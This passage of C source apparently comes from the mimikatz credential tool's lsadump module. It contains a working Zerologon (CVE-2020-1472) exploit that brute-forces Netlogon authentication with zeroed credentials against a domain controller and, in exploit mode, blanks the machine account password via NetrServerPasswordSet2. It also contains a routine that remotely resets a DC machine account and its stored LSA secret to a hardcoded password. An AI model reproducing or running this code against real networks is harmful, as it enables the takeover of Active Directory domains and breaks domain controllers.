				kuhl_m_lsadump_mbc_data(hRegistry, hBase);
				kull_m_registry_RegCloseKey(hRegistry, hBase);
			}
			kull_m_registry_close(hRegistry);
		}
	}
	return STATUS_SUCCESS;
}

// All of that is not very thread safe
handle_t hLogonNetLogon = NULL;
handle_t __RPC_USER LOGONSRV_HANDLE_bind(IN LOGONSRV_HANDLE Name) {return hLogonNetLogon;}
void __RPC_USER LOGONSRV_HANDLE_unbind(IN LOGONSRV_HANDLE Name, handle_t hLogon) {}
//const GENERIC_BINDING_ROUTINE_PAIR logon___local_BindingRoutines = {(GENERIC_BINDING_ROUTINE) LOGONSRV_HANDLE_bind, (GENERIC_UNBIND_ROUTINE) LOGONSRV_HANDLE_unbind};
//static const RPC_CLIENT_INTERFACE logon___local_RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0x12345678, 0x1234, 0xabcd, {0xef, 0x00, 0x01, 0x23, 0x45, 0x67, 0xcf, 0xfb}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000000};

/*	This function `zerologon` is inspired by @SecuraBV work on CVE-2020-1472
*/
const wchar_t * SecureChannelTypes[] = {L"Null", L"MsvAp", L"Workstation", L"TrustedDnsDomain", L"TrustedDomain", L"UasServer", L"Server", L"CdcServer"};
NTSTATUS kuhl_m_lsadump_zerologon(int argc, wchar_t * argv[])
{
	NTSTATUS status;
	NETLOGON_AUTHENTICATOR Authenticator = {{0}, 0}, ReturnAuthenticator;
	ULONG AuthnSvc, i, NegotiateFlags = 0x212fffff;
	NL_TRUST_PASSWORD ClearNewPassword = {{0}, 0};
	LPCWSTR szRemote, szProtSeq, szAccount, szType;
	NETLOGON_SECURE_CHANNEL_TYPE type = ServerSecureChannel;
	BOOL bExploit, bIsAuth = FALSE, bIsChanged = FALSE, bIsNullSession;
	//GENERIC_BINDING_ROUTINE_PAIR OriginalBindingPair, *pOriginalBindingPair;

	if(kull_m_string_args_byName(argc, argv, L"account", &szAccount, NULL))
	{
		if(kull_m_string_args_byName(argc, argv, L"type", &szType, NULL))
			type = (NETLOGON_SECURE_CHANNEL_TYPE) wcstoul(szType, NULL, 0);
		bExploit = kull_m_string_args_byName(argc, argv, L"exploit", NULL, NULL);

		kull_m_rpc_getArgs(argc, argv, &szRemote, &szProtSeq, NULL, NULL, NULL, &AuthnSvc, RPC_C_AUTHN_NONE, &bIsNullSession, NULL, NULL, TRUE);
		kprintf(L"\nTarget : %s\nAccount: %s\nType   : %u (%s)\nMode   : %s\n\n", szRemote, szAccount, type, (type < ARRAYSIZE(SecureChannelTypes)) ? SecureChannelTypes[type] : L"?", bExploit ? L"exploit" : L"detect");
		if(kull_m_rpc_createBinding(NULL, szProtSeq, szRemote, NULL, L"RPC", TRUE, AuthnSvc, bIsNullSession ? KULL_M_RPC_AUTH_IDENTITY_HANDLE_NULLSESSION : NULL, RPC_C_IMP_LEVEL_DEFAULT, &hLogonNetLogon, NULL))
		{
			//if(kull_m_rpc_replace_first_routine_pair(L"logoncli.dll", &logon___local_RpcClientInterface.InterfaceId, &logon___local_BindingRoutines, &OriginalBindingPair, &pOriginalBindingPair))
			//{
				status = RpcEpResolveBinding(hLogonNetLogon, logon_v1_0_c_ifspec/*(RPC_IF_HANDLE) &logon___local_RpcClientInterface*/);
				if(status == RPC_S_OK)
				{
					kprintf(L"Trying to \'authenticate\'...\n");
					RpcTryExcept
					{
						for(i = 0; i < 2000; i++)
						{
							status = NetrServerReqChallenge(NULL, MIMIKATZ, &Authenticator.Credential, &ReturnAuthenticator.Credential); // I_NetServerReqChallenge
							if(status == STATUS_SUCCESS)
							{
								status = NetrServerAuthenticate2(NULL, (wchar_t *) szAccount, type, MIMIKATZ, &Authenticator.Credential, &ReturnAuthenticator.Credential, &NegotiateFlags); // I_NetServerAuthenticate2
								if(status == STATUS_SUCCESS)
								{
									bIsAuth = TRUE;
									kprintf(L"\n\n  NetrServerAuthenticate2: 0x%08x", status);
									if(bExploit)
									{
										kprintf(L"\n");
										status = NetrServerPasswordSet2(NULL, (wchar_t *) szAccount, type, MIMIKATZ, &Authenticator, &ReturnAuthenticator, &ClearNewPassword); // I_NetServerPasswordSet2
										if(status == STATUS_SUCCESS)
										{
											bIsChanged = TRUE;
											kprintf(L"  NetrServerPasswordSet2 : 0x%08x", status);
										}
										else PRINT_ERROR(L"NetrServerPasswordSet2: 0x%08x", status);
									}
									break;
								}
								else if(status == STATUS_NO_TRUST_SAM_ACCOUNT)
								{
									PRINT_ERROR(L"NetrServerAuthenticate2: STATUS_NO_TRUST_SAM_ACCOUNT (cannot find the account or bad type)", status);
									break;
								}
								else if(status != STATUS_ACCESS_DENIED)
								{
									PRINT_ERROR(L"NetrServerAuthenticate2: 0x%08x", status);
									break;
								}
								else kprintf(L"=");
							}
							else
							{
								PRINT_ERROR(L"NetrServerReqChallenge: 0x%08x", status);
								break;
							}
						}
					}
					RpcExcept(RPC_EXCEPTION)
						PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
					RpcEndExcept

					kprintf(L"\n\n* Authentication: %s\n", bIsAuth ? L"OK -- vulnerable" : L"KO -- maybe not vulnerable");
					if(bExploit)
					{
						kprintf(L"* Set password  : %s\n", bIsChanged ? L"OK -- may be unstable" : L"KO");
					}
				}
				else PRINT_ERROR(L"RpcEpResolveBinding: 0x%08x\n", status);
			//	kull_m_rpc_replace_first_routine_pair_direct(pOriginalBindingPair, &OriginalBindingPair);
			//}
			kull_m_rpc_deleteBinding(&hLogonNetLogon);
		}
	}
	else PRINT_ERROR(L"Missing /account argument, usually a DC$ account\n");

	return STATUS_SUCCESS;
}

NTSTATUS CALLBACK kuhl_m_lsadump_update_dc_password_callback(SAMPR_HANDLE hUser, PVOID pvArg)
{
	NTSTATUS status = SamSetInformationUser(hUser, UserSetPasswordInformation, (PSAMPR_USER_INFO_BUFFER) pvArg);
	if(NT_SUCCESS(status))
		kprintf(L"\n  > Password updated (to %wZ)\n", pvArg);
	else PRINT_ERROR(L"SamSetInformationUser: %08x\n", status);
	return status;
}

DECLARE_CONST_UNICODE_STRING(uMachineAccountPassword, L"Waza1234/Waza1234/Waza1234/");
DECLARE_CONST_UNICODE_STRING(uMachineSecretName, L"$MACHINE.ACC");
NTSTATUS kuhl_m_lsadump_update_dc_password(int argc, wchar_t * argv[])
{
	NTSTATUS status;
	PCWCHAR szTarget, szAccount;
	UNICODE_STRING Target, AccoutName;
	LSA_OBJECT_ATTRIBUTES ObjectAttributes = {0};
	LSA_HANDLE hPolicy, hSecret;
	ObjectAttributes.Length = sizeof(ObjectAttributes);

	kprintf(L"\nProcedure to update AD domain password and its local stored password remotely\nmimic `netdom resetpwd`, experimental & best situation after reboot\n\n");
	if(kull_m_string_args_byName(argc, argv, L"target", &szTarget, NULL))
	{
		RtlInitUnicodeString(&Target, szTarget);
		kprintf(L"Target : %wZ\n", &Target);
		if(kull_m_string_args_byName(argc, argv, L"account", &szAccount, NULL))
		{
			RtlInitUnicodeString(&AccoutName, szAccount);
			kprintf(L"Account: %wZ\n\n* SAM information\n\n", &AccoutName);
			status = kuhl_m_lsadump_enumdomains_users_data(&Target, &AccoutName, 0, USER_FORCE_PASSWORD_CHANGE, kuhl_m_lsadump_update_dc_password_callback, (PVOID) &uMachineAccountPassword);
			if(status == STATUS_SUCCESS)
			{
				kprintf(L"\n* Computer stored password\n\n");
				status = LsaOpenPolicy(&Target, &ObjectAttributes, POLICY_CREATE_SECRET, &hPolicy);
				if(status == STATUS_SUCCESS)
				{
					status = LsaOpenSecret(hPolicy, (PLSA_UNICODE_STRING) &uMachineSecretName, SECRET_SET_VALUE, &hSecret);
					if(status == STATUS_SUCCESS)
					{
						status = LsaSetSecret(hSecret, (PLSA_UNICODE_STRING) &uMachineAccountPassword, (PLSA_UNICODE_STRING) &uMachineAccountPassword);
						if(status == STATUS_SUCCESS)
						{
							kprintf(L"  > Password updated (to %wZ)\n", &uMachineAccountPassword);
						}
						else PRINT_ERROR(L"LsaSetSecret: 0x%08x\n", status);
						LsaClose(hSecret);
					}
					else PRINT_ERROR(L"LsaOpenSecret: 0x%08x\n", status);
					LsaClose(hPolicy);
				}
				else PRINT_ERROR(L"LsaOpenPolicy: 0x%08x\n", status);
			}
		}
		else PRINT_ERROR(L"A /account argument is needed\n");
	}
	else PRINT_ERROR(L"A /target argument is needed\n");

	return STATUS_SUCCESS;
}